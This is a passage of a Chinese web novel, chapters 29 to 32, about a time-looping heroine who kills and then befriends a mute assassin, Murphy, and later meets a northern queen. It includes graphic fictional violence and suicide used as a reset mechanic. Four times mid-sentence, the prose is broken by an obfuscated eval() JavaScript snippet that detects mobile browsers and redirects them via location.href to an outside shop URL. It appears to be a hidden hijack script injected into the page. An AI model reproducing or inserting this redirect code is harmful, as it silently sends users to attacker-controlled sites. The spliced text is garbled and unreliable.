“不要啊!我可以不和这个人一起吗?听名字相性不合。”
隔着兜帽看不到表情,但她总觉得尊主在笑:“当然不能。”
伊斯特认命地一头撞上壁炉的尖角。
*
“平庸。”
“虽然不完全契合,但你还是与钴尖晶一道吧。”
伊斯特一头撞上壁炉。
*
“嫉怒。”
壁炉。
*
“疯狂。”
壁炉。
*
“傲慢和无助!我都讨厌!”
“你不喜的现状还挺多啊,”尊主心情听上去比之前更好了,“不如和钴尖晶一道吧。”
“你欺人太甚了!我哪里看上去像他那种白痴了!”
伊斯特一边骂一边撞上壁炉。
*
伊斯特真的没想到她的运气会这么背,语气诬陷接近这个说出口的单词:“……麻木。”
“哦?这么巧吗?”尊主的嗓音里多了些意想不到,“你和磷灰石还挺有缘的。”
哈哈,你眼中是缘分,她眼中是机关算尽绞尽脑汁一手策划死了六次强求来的。
*
从中心区,到商业区,到住宅区,再到贫民窟,帝国的都城越往外围走,便越萧瑟。一路抵达目的地后,望着四周的大片荒地,伊斯特不由思考起一个问题:
磷灰石是不是脑子有病?
周围一个人也没有,再不摘兜帽除了不透气好像也没什么用。伊斯特看了看怀表,一把掀开身上的斗篷。
「恭喜宿主,成功遇见可攻略角色:
影耀会刺客——【磷灰石】。」
?
她不是提前十分钟到的吗?而且更重要的是……
「该真名识破的时候为什么又不报名字了啊!」
系统不说话了。
现在再挡住脸也就欲盖弥彰一个作用了,伊斯特索性大大方方地转过身,一副很坦然的样子,抬眼打量小道尽头的磷灰石。
她吃了一惊,不仅仅是因为来人没有任何遮盖相貌的举措。
好出乎意料的长相。
他的气质介于青年和少年之间,头发及颈不及肩,在脑后草草扎成一个小揪。发丝是麦色的,却不是那种生机勃勃的麦子,更像秋收后被弃在地里的秸秆;夜风吹乱他的发梢时,仿佛也带起一阵难以言说的萧索。
磷灰石的五官并不出挑,眉眼干净,睫毛纤长,是一种内敛的清秀,叫人视线习惯性地从他身上滑走。那双眼睛是铁锈般的灰,带些锋锐,但更多则是寡淡。
相貌也太年轻了……这成年了吗?
很难说,因为光看行径反应,磷灰石利落又干练;但偶尔一举手一投足之间,又总有种挥之不去的衰败感。
他的打扮很普通,丢到人群里挑不出来的长袖长裤;唯一的特征大概只有,他背着一个琴盒。
伊斯特当然不会傻到觉得这位搭档要给她表演一段鲁特琴:“盒子里是什么?”
磷灰石垂下眼,无言地伸手摘下琴盒,取出了里面的东西。
弩身比制式规格修长一截的,由深色硬木与冷钢铆接而成的,特制弩箭。
伊斯特感觉肋骨隐隐作痛。
这不就是三周目差点在她身上七进七出的东西吗!
是你啊!!
我跟你爆了!!!
伊斯特毫不犹豫地扑了上去,五指成拳,重击对方的手腕。在那把弩脱手时,她一脚踢开它,然后另一只手拔出匕首,重重地扎进了磷灰石的左眼,深到眉骨,一扭一转,全力向右划开。
这道狰狞的伤口戳瞎了他的两只眼睛,在那张原本眉清目秀的脸上纵裂开来,皮肉通通外翻,显得血腥又可怖。
磷灰石没有质问、惨叫、或者任何出口的话,他唯一的回应是从袖间滑出小刀,顺着声音的方向向她迎面攻来。
伊斯特一脚踹开了他。
最后,这场不太光荣的偷袭以有视力的那个人赢了告终。
伊斯特大笑着,一把扭断了磷灰石的脖子。
她席地而坐,挨着身边的尸体,喜悦地欣赏起郊外的月色。在夜风中,她放松了片刻,血渍和汗水都慢慢风干了。随后,伊斯特熟练地自尽,回到了循环之间的黑暗里。
*
「你发什么疯啊!!」
每次她以为系统的尖叫不能更吵的时候,这东西就会突破她的预期。
「我脾气一直很好,」她答非所问,「大家都夸我很温和,你知道为什么吗?」
「……为什么?」
「因为我每次有仇都当场就报了。」
「……」
「没有积怨,当然就很少生气——至少我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886450|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在老家是这样的。被迫穿越之后,很多东西都在挑战我的耐心,叫我原本健康的生活方式十不存一。唯一值得庆幸的一点是,就算这具身体的肝被气出问题了,我也带不回去。」
「……」
「我现在心里好受多了,」伊斯特轻松愉快地微笑着,「我们做任务吧。」
*
伊斯特发现自己已经可以心无芥蒂地面对这个人了,深觉她的情绪调整小方法管用。
“嗨,很高兴认识你。”她真心实意地说。
「你看,我刚刚要是不杀他一次,就没法这样心平气和。」
磷灰石点了点头,从口袋里拿出一张纸,递给她。
不开口装高冷吗,有点意思。伊斯特腹诽着,低头看了看纸上写什么。
内容只有寥寥两句,言简意赅;字很漂亮,像练过的:
“我不能说话。有意见的话,自己去找人反应;没意见的话,跟我走。”
……
她刚刚欺负了一个残疾人吗?
她刚刚对一个哑巴重拳出击了吗?
纵使伊斯特没有良心,她也觉得不存在的东西在疯狂谴责自己。
“好的,我知道了……”她现在纯粹是为了换个话题,“琴盒里是什么?”
他们正一前一后走在路上。磷灰石垂下眼,安静地伸手摘下琴盒,取出了里面的东西。
其实仔细一看,只要这把弩不用来攻击她的话,还是挺漂亮的啊……这么精巧的机械结构。
“好别致,”她自来熟地开口,“你自己改装的吗?”
磷灰石面无表情地瞥了她一眼,抬起手在四五秒内飞速比划了十几个动作。
“我没看清,‘上级’后面那个词是什么?”
磷灰石转过头,额前的发丝被吹得随风飘扬。他盯着她,停下脚步,愣住了,好像没想到她真的能看懂。
“再比一遍呀,”伊斯特循循善诱,“麻烦你啦。”
磷灰石依旧站在原地,惊讶地、用正常手速重新回答了一遍。
第一次果然是敷衍吧,就是那种“啊我回答了但反正你看不懂以后就别问了”的敷衍。
这性格真是,说直白不直白,说委婉不委婉。
“大部分都是你自己弄的吗?哇塞,”她真情实感地赞叹道,“年轻有为啊!你是搞机械的吗?风偏怎么校准的啊?预射大概几次?”
磷灰石看上去想说什么,但是打手势比说话慢多了,导致他完全插不上这段单方面对话。
“你这力臂怎么调的?现在预计精准射程多远啊?影响因素——”
磷灰石一把抓住了她的胳膊,脸上依旧没什么表情。伊斯特揣摩了一下他的意思,合上了嘴。
她停下话头之后,对方也随之松开了手。『无意冒犯。』磷灰石打到,『可以安静一会儿吗?』
伊斯特眨了眨眼,思考了几秒,感觉还是有必要问:“……你是希望我完全不说话呢,还是希望我把要告诉你的话打手语呢?”
磷灰石揉了揉太阳穴:『前者。』
二人对视了几秒。
『你要是能只在必要时开口,维持到今天结束,』他又补了一句,『就把弩借给你看。』
伊斯特喜悦地比了个赞。
30. 第 30 章
对于伊斯特这样一个张嘴没什么实话的、说谎面不改色的、把欺骗别人当必要手段的人来说,要她沉默两小时,其实挺难的。
但是要她开口之后迅速想到一个借口,把这句话归类为“必要的”,就是十分容易了。
“我们去哪呀?去做什么呢?”伊斯特毫不停顿地补充了正当化解释,“知道后我才好合作嘛。”
磷灰石一边前行,一边半侧过身子,方便她看清手语。『冯特庄园,杀人,』非常简明扼要的描述,『你要帮忙吗?』
“为什么不?”
『我向来一个人干。』
“那恭喜你遇到我啦。”
他顿了顿,『你也未必想杀人。』
“这话说的,我们不是搭档吗?”
『你可以在旁边等着,很快就好。』磷灰石停下脚步,回过头看着她,见她没有同意的表示,这才接着打到,『愿意的话,也可以帮我。』
这太宜人了。
伊斯特直爽地告诉他自己很乐意工作,然后出于二人先前的约定,在接下来的路上保持了安静。没过多久,他们抵达了目的地——半山腰上一处洼地,角度正好俯瞰对面的庄园。
她还没来得及说话呢,手上多了好几样东西。低头一看,磷灰石塞过来一张地形图、一份调查报告、一把有点眼熟的小刀。
伊斯特拿起那把上次用来和她死命相搏的小刀,发现刀刃上泛着幽幽的蓝光。
蝴蝶刀还淬毒啊,也算是艺高人胆大……还是说只要目标能死,自己的存活不太重要?她正在心里胡思乱想呢,磷灰石好像以为她有什么不明白的,看着小刀补了一句:『大概率用不到。』
说完他就开始低头架枪,啊不是,架弩,专心准备起暗杀。伊斯特仔细看了看纸质材料,发现磷灰石做的准备工作详尽到,她确实没什么好插手的。
这太靠谱了。
原来这个选择这么天差地别吗……
搭档竟然要在带资进(工作小)组的太子爷和组里最勤勤恳恳干活但是每次都让你上去替他汇报的社畜中间盲猜二选一啊!
绝对值看上去是差不多,但是一个那么负,另一个那么正啊!
那她上次运气真的非常差了。
「这人能给我打包带回去吗?这比我同事都好用。」
「你能专心攻略吗?」
说能的话不太能,因为接下来几个月,她确实又陆陆续续见过磷灰石十几面,但每次都是任务。
有时他们从远处狙杀,他搭好支点,视线锁定同一个方向,耐心地盯上几十分钟;她在旁边测算风向,研究目标的行动轨迹。
有时他们潜入暗杀,他一般是动手的那个,不过遇到盘问时,物理意义上地一个字也答不上来;她负责制定计划,情报获取,诡计设置,以及每次遭到怀疑,总能用花言巧语轻松脱身。
一起做的事五花八门,唯一的共同点大概是,他们从不说和工作无关的话。
但是说不能的话,也不尽然。
要说世上最快建立亲密关系的两种方式,一定是同生共死和成为共犯了。过去几个月,他们俩基本上把后者实践得淋漓尽致。
有一次,伊斯特心血来潮,给犯罪搭子带了点小零食。磷灰石盯着她递过来的林茨饼干,抬眼扫过她手上已经吃了大半那块,又低头看了看周围的树木和小溪,好像没明白自己怎么就突然置身于一个郊外野餐的环境中了。
他无言地收下,两口咬碎了裹着糖霜和彩屑的饼干。下次见面时,连同背景调查和地形路线一起递过来的,还有一个带着齿轮的发条八音盒。
相处多了就发现,磷灰石这个人挺朴实无华的。不是说生活作风——虽然伊斯特确实没看他穿过质感稍微好点的衣服,让人不禁怀疑影耀会雇佣未成年就算了,还克扣工资——而是思维方式。
他在暗杀上头脑敏锐,但在其他所有别的方面,都或多或少流露出一种……尚未被社会化的质朴感。
好像没人来得及教过他通用规制、形式主义;又或者他曾经学过,但由于用不到抛之脑后了。大多数时候,磷灰石的行为举止都非常直接——要是不知道他手上血积如泊,乍一看,或许会觉得他是个青涩文静的少年人吧。
除此之外,磷灰石并不以杀人为乐,也不厌烦,好像这只是生活必要的一部分。他极少流露出私人情绪,她印象里,大概只有两次例外。
某天,他们照例潜入一个舞会。计划都已经定好了,磷灰石拍了拍她,打手语:『换目标了。』
依旧挺顺利的,他们悄无声息地毒死了那个主教。不过这不是重点。由于他们偶尔的汇报都是伊斯特去做,在那之后不久,她顺便问了拉长石一句,为什么突然换人。
拉长石看她的眼神有点心累,好像在看一个没事找事的神经病:“你搭档要求的事,你问我?”
伊斯特后来问过磷灰石,但他听完之后,只是垂下眼,打了『抱歉』的手势,为给她添额外麻烦道歉。至于多的解释,一句也没有。
另一次,是狙杀。等待的时候闲着也是闲着,她正在旁边编草环玩呢,看到磷灰石指尖搭上扳机,微微颤了颤,没扣下去。
伊斯特举起望远镜,看向窗边。那是他们的任务目标,正在坐在壁炉旁,给旁边看上去是他孩子的人念睡前故事。没有遮挡,没有剧烈位移倾向,标准的完美射击情景。
她差点就把“是要把他们全家一起带走吗”问出口了,但余光看见,磷灰石的神情不太对。
有些迷茫,有些失焦,还带着陷入回忆般的恍惚。他用力闭了闭眼睛,再睁开时,还是一片毫无感情的灰色。
先前的犹豫好像只是错觉,他扣动了扳机。
就这样,他们的关系不轻不重,几个月也就过去了。发生的事似乎和“攻略”没什么关系,要是让他们选一个人谈恋爱,恐怕都不会想到对方;但要说有什么人,是能信任与对方之间默契、顺手把性命托付过去的,二人都没有后顾之忧。
直到他们失手的那天。
其实很简单,只是因为守卫时间表临时调整,导致他们被发现了;但是一前一后拔足狂奔的时候,他们谁也没顾上分析原因。
磷灰石负责开路,伊斯特断后。眼见着庄园出口就在眼前,她急急一闪,躲过后方,余光却看到侧边砍来的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886451|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
长刀。
你砍就砍吧,只要不死就行。
伊斯特心态放得很洒脱,预料中的断肢和疼痛却并未到来。磷灰石一手把她往前方一拽,另一手抬弩,瞄准追兵。
箭矢在极近距离之下飞射而出,贯穿了头颅,带起灰白红三色混杂的脑浆飞沫。与此同时,刀锋嵌入磷灰石的腰腹,一路割开血肉,隐约可见脏器;在肋骨上一卡,勉强停住了。
连在旁边看着的伊斯特都倒吸一口冷气,别说当事人了。磷灰石痛得五官一瞬间扭曲起来,好像一声未出口的惨叫。
她指间的蝴蝶刀银光一闪,血线连带着神经毒素,一起在前方守卫颈间蔓延开来。最后一个挡路的人也清除了,伊斯特往身后丢下粗糙自制的烟雾弹,带着磷灰石一路跑远了。
逃出安全距离,她开始大力摇晃对方:“别睡,别晕,这伤不处理你就要死了。附近有落脚点吗?”
磷灰石的脸色和死人也快没什么区别了,他好像已经不太清醒,只是半梦半醒间,伴着愈发微弱的呼吸,勉强指了路。
目的地并不远,至少没能在这五分钟里耗死磷灰石。伊斯特一脚踹开斑驳的铁门,随便找了个房间把他放下,止血消毒,针线缝合,包扎伤口……一套只看过没学过的流程做完之后,或许是命太硬,磷灰石竟然真的活下来了。
“我去给你找点水啊,”明知对方听不清,她还是对地上的伤患嘱咐道,“待在这儿别乱动。”
这时她才有空观察四周,发现这儿竟然是栋废弃的宅邸。宽阔的柱廊,高大的窗户……然而漆皮剥落,地面积灰,石墙上都是烟熏的焦痕;某些檐口残留着雕纹花样,依稀能看出过去多么精致优美,但嵌在如今这样的废宅里,只显得更加荒凉。
实在没有人类生活的痕迹,她无功而返,发现磷灰石还撑着没死。伤势稳定一些之后,他甚至还醒了。
伊斯特凑过去,坐在他旁边,疲惫地叹了口气:“刚刚为什么拽开我?”
可能是打动作太费力,磷灰石的回答比平时还简练:『本来是断一只手,现在是可以养的伤。』
两个分句主语都不一样啊!
什么思考方式啊!群居型野生动物吗!
再说了,她断手就断手,她能重开的啊!一死了之多简单的事,之后还是完完整整的人。
伊斯特盯着他,过了好几秒,只是又叹了口气。
去街上找了个靠谱点的上门医生,塞了一大袋银币以及“我知道你家住哪”的死亡威胁,把磷灰石托付过去之后,伊斯特总算结束了这波折的一天,勉强在晚饭之前回了家。
在饭桌上,她问起那栋废宅。
“你问那里干什么?”母亲吃了一惊,“西兰一家那场意外……都过去七年了吧?”
“也是倒霉,”父亲听她提起这个话题,不由得感慨道,“西兰那时可是主司祭,倘若没出事,现在指不定什么地位呢……恐怕教廷都要洗牌了。”
“火烧了一天一夜,整栋庄园没有一个人幸存;就连他们家的独子,都没逃出来……”
说着,母亲叹了口气:“那孩子要是还活着,应该和你差不多大了。”
31. 第 31 章
“你名字叫什么?”
磷灰石向来没什么表情,但是相处这么久了,她已经可以看出他细微的心理变化了;比如现在,他头上好像浮现出一个问号。
“很冒犯吗,应该没有吧?”伊斯特自顾自地思考道,“你都告诉我姓氏了。”
『我没有。』
“这个房间里有一个人姓西兰吧?反正不是我。”
磷灰石沉默了。可能是身上被砍了这么长一道口子,打手语很费力,所以伊斯特贴心地又等了他一小会儿,发现他还是不回应。
“在惊讶吗?我脑子有多好用你又不是不知道。”
『我……没打算刻意藏着,』他垂着眼,谁也不看,『但也没打算讨论这个话题。』
“好吧,把名字告诉我,今天就放过你了。”
躺在床上的人没有和她争时间修饰词,只是又沉默了一会儿,然后半支起身,在她递过来的纸上写下了一个单词。
即使半死不活成这样,他的字依旧很漂亮。
伊斯特凑过去,念出了对方的名字。
“墨菲?”
*
又过了一个月,墨菲的伤差不多好了。就算她死死活活了几十次,也不禁觉得这人命挺硬,挺坚韧的。
由于有的人现在不仅残疾,还是伤患,见面的时候他们也没有任务做了。但她是来探病的,作为一个三观朴素、脑子里只有“你对我好,我就应该对你好”一根筋的人,墨菲当然也不会赶她走、或者让她安静,只好每天动弹不得地被迫闲聊。
伊斯特的方针很简单,就是一直问自己好奇的内容,问到对方开始沉默为止,然后看似各退一步地说“这是今天最后一个问题”。
墨菲或许看出来了,但他也没指出,只是每次都点点头,垂着眼回答她。
就这样,陆陆续续几十天下来,她已经完全了解了七年前的那场意外。
或者说蓄意谋杀更合适一点。
墨菲当然不是生来就哑了的,事实上,十岁之前,他只是一个普通的富裕家庭孩子,有着大部分同龄人都有的烦恼:被逼练字的时候总是拖延或找借口,然而并没有用;父母觉得他的爱好是不务正业,他只好自己躲在房间里悄悄拆机械结构……
直到十岁那年,他半梦半醒之间,听到走廊里极轻的脚步声。
后面的故事挺老套的:全家惨死,一个孩子躲在柜子里,忍受着烟熏和火燎,硬生生地熬到外面的人走了,捡回一条命。
他几乎不记得自己是怎么强撑着,在砖块、碎石和不敢细看的伏地躯体间,一步一步挪到宅邸外面的了;只知道,等他吸入第一口新鲜空气的时候,发现声带疼得像有刀片在划,一个词也说不出来。
如果听到了仇人的名字,或者发现了什么线索,那这就是个王子复仇记的故事了。很可惜,就像墨菲的名字一样,任何可能出错的事情都不会顺利。他并不知道是那几个纵火的人是谁派来的,也再也没见过他们。
只是一个普通的,略显流俗的惨剧,甚至由于缺乏反转和讽刺性,算不上悲剧。
“一点线索都没有吗?”
听到最后,伊斯特坐在他床边,不由发问。
『生前最后几天,他提过在教廷有所结怨。』
墨菲沉默了好一会儿,才接着打手势。
『所以,可能是教廷吧?……其实我也不知道,不过是随便找个对象恨,避免自己麻木罢了。』
『加入影耀会,也是因为反教廷的缘故。虽然我自己也清楚,杀的人大多无辜。』墨菲神情平淡,『说到底,只是棋子而已。但是如果我在被利用的时候,能碰巧伤到当年的主事者……就为了这万分之一的可能性,依旧在做。』
又过了几秒,他自嘲地扯起嘴角,『……或许,只是又一个借口。好像只擅长做这一件事,所以就做了;否则,不知道往哪里去。』
“西兰生前具体做什么的?”
『司祭,负责宫廷事物、举办庆典。年关和节日从来见不到他。』
“等等……”
伊斯特一下子站了起来。
“十五年前那个冬获节不会这么巧,是他负责的吧?”
还真是。
墨菲勉强能下床走路,在她的搀扶下,花了十分钟走到原来是书房的地方,指了指一块墙砖。
『文件放在后面,铁箱里,不确定烧化没有。』
要是烧没了,我就和你有共同的仇人了。伊斯特这么想着,找了根撬棍撬开了松动的墙体,打开保险箱。
里面是堆积如山的厚厚文件。在墨菲的帮助下,她成功翻到了那个冬获节的拣选名单,以及宾客列表。
她读了两遍,揣进口袋里。墨菲安静地半站半靠在墙边,没有问她这是做什么;只是在一起出门的时候,补充了一句。
『有地方是简写,』他的表情依旧淡得没什么生气,『看不懂的话,可以问我。』
伊斯特都觉得有点不好意思了:“你不在乎我要这个什么用吗?”
『你想告诉我吗?』
“有点复杂——”
墨菲第一次打断了她。他抬起眼,那双干净的、尘埃烟烬一样的眼睛看着她。好像越熟悉,越亲密,他就越内敛,越安静地听她说话,接受她给的所有安排和解释。
『那就不用说。』他歪了歪头,有那么一瞬间,好像试图露出一个微笑。
*
“你不喜欢做决定,看得出来,如果能埋头走,你绝不会抬头看看,自己的人生有没有机会选择别的道路……如果我说错了,就反驳我。”
墨菲坐在椅子上,看着她,摇了摇头。
“好,”伊斯特探出身来,按住了他的双手,剥夺了他的反对能力,“我要逼你做选择了。”
就算他想说什么,也没法表达出来;不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886452|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过,看神情,墨菲更接近于怔了一怔。
“虽然是你在把别人变成尸体,效率还很高,不过,要我看,你才是那个行尸走肉。”
“你有两个选择,第一是接着这么过下去。你说想避免麻木,但你为了它做的这些事,反而异化了自己。因此,这条路是轻松的。你可以接着自我欺骗,沉浸在或许有所作为的幻觉中。”
“第二个很明显,你可以别这么活了。没有更多描述了,我也不知道之后会如何。”
墨菲抿着唇,眨了眨眼,视线垂落下去,瞥了一眼自己被按住的手,又回过来盯着她,好像想说点什么。
“那我松开了啊……你先答应我你会思考。”
他点了点头。伊斯特松开了手。
『你希望我选哪边?』
“不要找监考老师问答案,独立一点自己思考。”
『我才十七岁,』墨菲一眨眼,『不独立也很正常。』
“不要以为面无表情地撒娇就可以转移话题!”
她第一次看见墨菲笑。
他笑起来时,那张清秀的脸也明快几分,显得前所未有地像个活人。浅灰色的眼睛弯着,亮泽盈盈,仿佛敛着如雾的月光。
墨菲仰头看着她:
『哪条路上会有你?』
*
准备离开一周目就像收拾长途旅行的行李。给瑟亚铎写匿名威胁信让他去帮曼德琳出书否则就曝光他的逆反行为时,伊斯特想到这个贴切的比喻。
她把假消息汇报上去,告诉拉长石她的搭档死了,然后婉拒了哀悼和安慰。
磷灰石不存在了,不过她多了一个叫墨菲的朋友……姑且算是朋友吧,如果给友情这个词增加一些不太健康的容错空间,比如:一方愿意为另一方而死,一方完全听从另一方,一方把另一方视作人生的明灯和依赖——以及这三个分句的主语都是同一个人。
在她的要求下,墨菲开始体验他没来得及做过的事:这周是音乐,下周是手工……或许他试完一圈后,最后会发现,还是原来的工作适合自己。不过正如伊斯特没收了他的弩、把他按在桌前时说的那样,至少要有尝试的过程。
当攻略成功的提示音响起的时候,他们正并排坐在第一次见面的麦田边,看人收割——随着四季流转,这里褪去了荒地的模样,在春季作物成熟下变成大片大片的翠绿与明黄。
伊斯特拍了拍他。
『怎么了?』墨菲半侧过身,用手势问到。
“没事,”她在微风中露出一个笑,“就是突然记起来,我一会儿有地方要去。”
『哪里?』
“还挺远的呢。”
伊斯特笑着伸了个懒腰,拿出那张名单,最后确认了一遍。
一六六五年冬获节的宾客列表上,赫然列着一个颇为眼熟的名字:
北方邻国的塔瑞希雅公主,也就是如今的北境女王。
32. 第 32 章
伊斯特·摩根那是这批面试者里最奇怪的人了,明明专业问题一个都答不上来,还是一副吊儿郎当的样子。
你说她来浪费人时间吧,她还蛮勤学好问的:死缠烂打不肯出门,直到听完了标准答案才愿意走。
北科曼这样想到。
*
伊斯特·摩根那是这批面试者里最奇怪的人了,明明一副吊儿郎当的样子,专业问题却对答如流。
北科曼这样想到。
*
去的路上,她听说了很多关于塔瑞希雅的传言。有一些比较靠谱,比如这位陛下作为前任统治者的独女继位,又因为这一身份遭人质疑围剿讨伐,但竟然打赢了继承战争。
大部分人说,这是因为塔瑞希雅用兵如神:在不利的局势中沉住气,隐忍蛰伏,然后抓住唯一那个突破口,以命相赌,一招翻盘。
另一些相对就离谱起来了,比如这位陛下会巫术,所以才在把握时机上从无一败,她的视界是魔鬼的视界什么的——这部分往往也出自觉得她非合法继承的那群人。
这里面有几个关键词让伊斯特沉思良久。
*
塔瑞希雅一头灿金色长发盘在脑后,双眼是宝石似剔透的蓝。王座上的女人视线扫过使团时,伊斯特脑子里也响起了系统的提示音。
「恭喜宿主,成功遇见可攻略角色:
北境女王——【塔瑞希雅】。」
伊斯特松开了口袋里的快捷自裁小刀。
*
她以前听市场部的同事常说,谈判陷入僵局的时候,比的是谁更着急、更想促成这起交易、更需要它带来的好处。
虽然伊斯特是外行,不过就她看来,这句话其实不完全对。
北境需要出口矿石,这是他们的极大经济来源之一;但塔瑞希雅神情悠闲带笑,在僵持不下的时候,只是慢条斯理地用指尖叩了叩茶盏,把他们报的数字打了回去。
这么一看,其实比的是谁更能把握时机:该谨慎时沉得住气,该梭.哈时毫不犹豫——从目前的情况看,塔瑞希雅很明显就是这样一个人。
因此,就算她由于不懂贸易瞎填了一些数值,他们主要还是吃亏在对手太强嘛。
这句话很明显没能平息使团里同事们的怒火。
*
使团里的同事举起伊斯特,在庆祝之声中,众人合力把她高高抛起。
“简直是神了!”北科曼拿着一个高脚杯,下意识想递给她,然后记起来她的年纪不该喝酒,手又往回缩,“坦白来说,聘用你时我还心怀疑虑……但你刚刚的表现,简直就像知道对面会出什么牌。”
说明你直觉挺准的。伊斯特顺手把香槟抢过来,啜了一口。
*
“还是第一次有人在赌桌上赢过我……”塔瑞希雅露出一个兴致盎然的笑,“你怎么知道我的底价?”
“猜的。”
塔瑞希雅从嗓子里发出一声笑:“你再猜一个我看看?过来,靠近点。”
伊斯特很听话地挪了两步。斜倚在王座上的女人抬起撑着脸的手,对她勾了勾。伊斯特又挪了两步。现在她们直线距离非常之近了,她几乎可以看清塔瑞希雅的每一丝神情。
女人微微歪着头,一手拄着面颊,百无聊赖地望着她;那张姣好的面容上,眼尾忽而一挑,藏不住的兴味如星火一溅,很快便没入惯常的慵懒里。
“我想确定一件事,”塔瑞希雅开口时嗓音带笑,但没人会因此误解句子的严重性,“我手下的人没有泄密吧?”
“没有。只是我直觉超级准而已。”
那双眼睛扫过她,好像在观察她的表情,寻找说谎的蛛丝马迹。正当她以为塔瑞希雅要下判决时,女人却只是伸出手,理了理她的衣领。隔着布料,指尖划过她的肌肤,触感几乎是温柔的。
“现在好多了……那你要怎么说服我,让我相信你的直觉呢?”
“你心里随便想一个数。”伊斯特装神弄鬼地停顿几秒,“是不是37?”
“不是。”
“好吧,我错了,”她坦然承认,“至少告诉我是多少吧。”
*
“你心里随便想一个数……是不是72?”
塔瑞希雅饶有兴趣地挑起眉:“是前面某句话有心理暗示吗?或是说,是我的面部表情?”
是朴实无华的死掉读档。
“秘密。”
*
塔瑞希雅很像那种,每个人都或多或少会谈一次或者crush一次的那种……年长系。
经过足够多的风浪,思维方式很成熟了,内核也已然稳定,不需要从这段关系中索取什么。
和塔瑞希雅相处的时候,伊斯特终于结束了长达数周目的心理医生扮演——她都怀疑自己回原世界能考个执照了——转而体会一种相对轻松的关系。
如果在老家见到塔瑞希雅,她想自己会请对方一杯玛格丽特,然后自然地聊起来。
简单来说,这段关系太像伊斯特自己也会谈的了,她有时候甚至忘了自己在攻略。
*
“我真的觉得我用不到。”伊斯特牢牢地抓着对方不肯松手,“仔细一想要不还是算了吧。”
“谁提出来要学骑马的?”塔瑞希雅循循善诱地把自己的手抽了出来,对她露出一个鼓励的笑容,然后抽了她的马一鞭子。
惯性把伊斯特冲得向后一仰,急冲带来的风刮得她脸颊生疼。她死死抓住鞍环,视野颠得有些模糊了。
学不会就摔死吗!
她被迫快速回想起之前学的理论知识,降低重心,放松缰绳,俯身在马耳边低喝指令。速度赫然慢了一截。
竟然成功了。带着几分成就感,伊斯特又下了几个指示,最后,她绕了个弯,慢慢停住了。
伊斯特长出一口气。
“其实我都做好把你拽下来的准备了,没想到没有摔嘛……”塔瑞希雅称赞道,她才发现对方一直跟在自己侧边,“挺不错的。”
“什么作风啊!”伊斯特说话时感觉肺有点疼,“这太极端了。”
“这不是最快吗?我当初就这么学的。”
“更正:你太极端了。”
塔瑞希雅丝毫没有被冒犯到,只是带着笑,轻巧地把话打了回来:“我没有批评你的神秘主义行事风格,你也别指点我的。”
“好嘛,这个话柄要被揪着不放一辈子了……”伊斯特试图举起双手表示无奈,但没敢松手,“再来一次吧。”
*
“传闻是真的吗?”
“哪段?”
“最出名的那段呗。”
“哦,你是指我天纵奇才,屡战屡胜,以少胜多;还是指我恶德违天,靠渎神得来的邪恶力量战胜了正义的联军?”
“没有中立一点的评价吗?”
塔瑞希雅笑弯了眼睛:“我就是这样的形象嘛,爱的人很爱,恨的人恨得要死——希望你是前者。”
真是熟练的暧昧期对话啊!“所以是真的吗?”
“都不是哦,其实只是碰巧赌赢了;再来一次,我可能会输。就是这么简单。”
“我不禁注意到,这个字眼在你口中的出现频率很高啊。”
“我天性好赌。”塔瑞希雅勾了勾手,让她凑近了,“告诉你一个秘密吧……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886453|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“刚刚继位的第一周,宣布我不正当继承的战前文书就堆满了我的桌子。所有人都觉得,那时局对我来说太艰难,太不幸了,”女人说着,脸上的笑容扩大了,“只有我知道,自己每天早上醒来时,都会被因兴奋而奔涌的血液冲得头脑发麻。”
伊斯特嘶了一声:“这都能跟我说啊?是要灭口吗?”
“又或者,我只是觉得你很投缘。要是世上有人能理解我,或许就是你了。”
塔瑞希雅说着,亲昵地揽住她的肩,“当然,你说出去的话,我还是会灭口的。”
“……”
伊斯特被逗笑了,靠在对方身上,追问道:“从我听到的传言来看,依旧有人觉得你不正当?”
